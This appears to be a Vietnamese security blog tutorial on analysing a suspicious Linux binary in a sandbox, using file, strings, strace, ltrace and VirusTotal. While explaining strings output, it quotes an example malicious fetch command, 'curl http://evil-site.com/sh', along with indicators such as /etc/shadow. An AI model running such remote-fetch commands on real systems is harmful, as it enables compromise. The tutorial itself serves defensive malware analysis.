Phân tích Malware trên Linux: Tuyệt chiêu dùng strace, ltrace và Sandbox

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Tình huống thực tế: File lạ trong thư mục /tmp

Tuần trước, khi đang rà soát một server bị treo CPU liên tục, mình thấy một file lạ tên syslog_update nằm “chễm chệ” trong /tmp. Kiểm tra nhanh, file này không thuộc về bất kỳ package chính thống nào của hệ thống.

Nhiều bạn mới vào nghề thường tò mò chạy thử hoặc dùng lệnh cat để xem nội dung. Đừng dại dột như vậy! Nếu đó là ransomware hoặc script xóa sạch ổ cứng, bạn sẽ không có cơ hội sửa sai. Malware trên Linux ngày nay cực kỳ tinh vi. Chúng thường giả danh các tiến trình hệ thống như kworker hoặc syslogd để đánh lừa quản trị viên.

Tại sao tuyệt đối không nên chạy thử file lạ?

Malware hiện đại không chỉ đơn thuần là phá hoại. Chúng có những mục tiêu kín đáo và nguy hiểm hơn nhiều:

  • Chiếm quyền điều khiển: Thiết lập reverse shell để hacker thâm nhập sâu vào hệ thống.
  • Biến server thành botnet: Tham gia các chiến dịch tấn công DDoS quy mô lớn.
  • Đào tiền ảo (Cryptojacking): Ngốn sạch 90-100% tài nguyên CPU để đào Monero (XMR).
  • Lây lan nội bộ: Tự động quét và tấn công các máy chủ khác trong cùng mạng LAN.

Thực thi một file lạ trên môi trường production chẳng khác nào tự sát kỹ thuật. Bạn cần một quy trình phân tích biệt lập và an toàn.

Bước 1: Thiết lập môi trường biệt lập (Sandbox)

Ghi nhớ nguyên tắc vàng: Không bao giờ phân tích mã độc trên máy đang làm việc.

Lựa chọn tốt nhất là một máy ảo (VM) chạy Ubuntu hoặc Kali Linux sạch. Hãy tạo một bản Snapshot ngay khi cài xong. Sau khi “vọc vạch” xong, bạn chỉ cần revert về snapshot cũ để xóa sạch mọi dấu vết của malware.

Anh em có thể dùng Docker hoặc Firejail để tạo sandbox nhanh. Nhưng hãy cẩn thận. Docker dùng chung kernel với máy host. Nếu malware biết khai thác lỗ hổng kernel (kernel exploit), nó sẽ thoát ra ngoài (container escape) và tấn công máy thật của bạn ngay.

# Tạo một shell bị giới hạn mạng và file cá nhân bằng Firejail
firejail --private --net=none bash

Môi trường này không có mạng, không có dữ liệu thật, cực kỳ lý tưởng để chúng ta bắt đầu soi mói.

Bước 2: Phân tích tĩnh (Static Analysis) – Nhìn mặt bắt hình dong

Đầu tiên, hãy dùng các công cụ có sẵn để kiểm tra danh tính file mà không cần thực thi nó.

Lệnh file

Lệnh này giúp xác định định dạng thực sự của file, tránh bị đánh lừa bởi phần mở rộng giả mạo.

file syslog_update

Nếu kết quả trả về là ELF 64-bit, statically linked, stripped, đây là một file thực thi đã bị xóa bỏ thông tin debug. Việc phân tích sẽ khó khăn hơn một chút vì các tên hàm gốc đã biến mất.

Lệnh strings

Đây là vũ khí yêu thích của mình. Nó lọc ra các chuỗi ký tự có thể đọc được trong file binary. Bạn có thể tìm thấy địa chỉ IP của server điều khiển (C2), các đường dẫn file nhạy cảm hoặc lệnh shell ẩn.

strings syslog_update | less

Nếu thấy những chuỗi như 185.x.x.x, /etc/shadow, hay curl http://evil-site.com/sh, bạn biết chắc chắn mình đang đối mặt với “hàng độc” rồi.

Bước 3: Phân tích động với strace – Theo dõi System Calls

Khi phân tích tĩnh không đem lại kết quả do malware đã bị mã hóa (obfuscated), hãy dùng đến strace. Công cụ này ghi lại mọi tương tác giữa tiến trình và nhân hệ điều hành (Kernel).

Hãy ngắt kết nối mạng của máy ảo trước khi bắt đầu.

# Theo dõi hành vi mở file và kết nối mạng
strace -e trace=open,connect ./syslog_update

Mình từng bắt gặp một con malware liên tục gọi socket()connect() đến một IP lạ qua port 4444 ngay khi vừa khởi chạy. Nhờ strace, mình đọc vị được ý đồ của nó mà không cần giỏi về Assembly.

Vài flag hữu ích bạn nên biết:

  • -f: Theo dõi cả các tiến trình con (fork).
  • -o log.txt: Xuất kết quả ra file để dễ tra cứu.

Bước 4: Soi thư viện với ltrace

Trong khi strace soi Kernel, ltrace lại tập trung vào các lời gọi hàm đến thư viện dùng chung như libc.

ltrace ./syslog_update

Nếu malware dùng strcmp để kiểm tra mật khẩu hoặc getenv để đọc cấu hình hệ thống, ltrace sẽ phơi bày tất cả. Đây là cách cực nhanh để tìm ra “backdoor password” của những con bot đơn giản.

Quy trình thực chiến: Kết hợp và Cô lập

Sau nhiều năm đối đầu với mã độc Linux, mình đúc kết quy trình 4 bước an toàn sau:

  1. Cách ly: Luôn dùng VM với chế độ Host-only hoặc ngắt mạng hoàn toàn.
  2. Hash file: Dùng sha256sum và check trên VirusTotal. 90% trường hợp cộng đồng đã có thông tin về nó.
  3. Giám sát: Mở htop ở một cửa sổ bên cạnh để xem mức độ ngốn CPU/RAM của malware.
  4. Kiểm tra Log: Soi /var/log/syslog ngay sau khi chạy để xem malware có cố gắng ghi đè log hệ thống hay không.

Phân tích malware là một cuộc đấu trí cần sự tỉ mỉ. Chỉ một phút lơ là chạy file trên máy thật, bạn có thể mất trắng dữ liệu hoặc phải cài lại toàn bộ server. Hy vọng những chia sẻ này giúp anh em tự tin và tỉnh táo hơn khi gặp những file “không mời mà đến” trên Linux.

Share: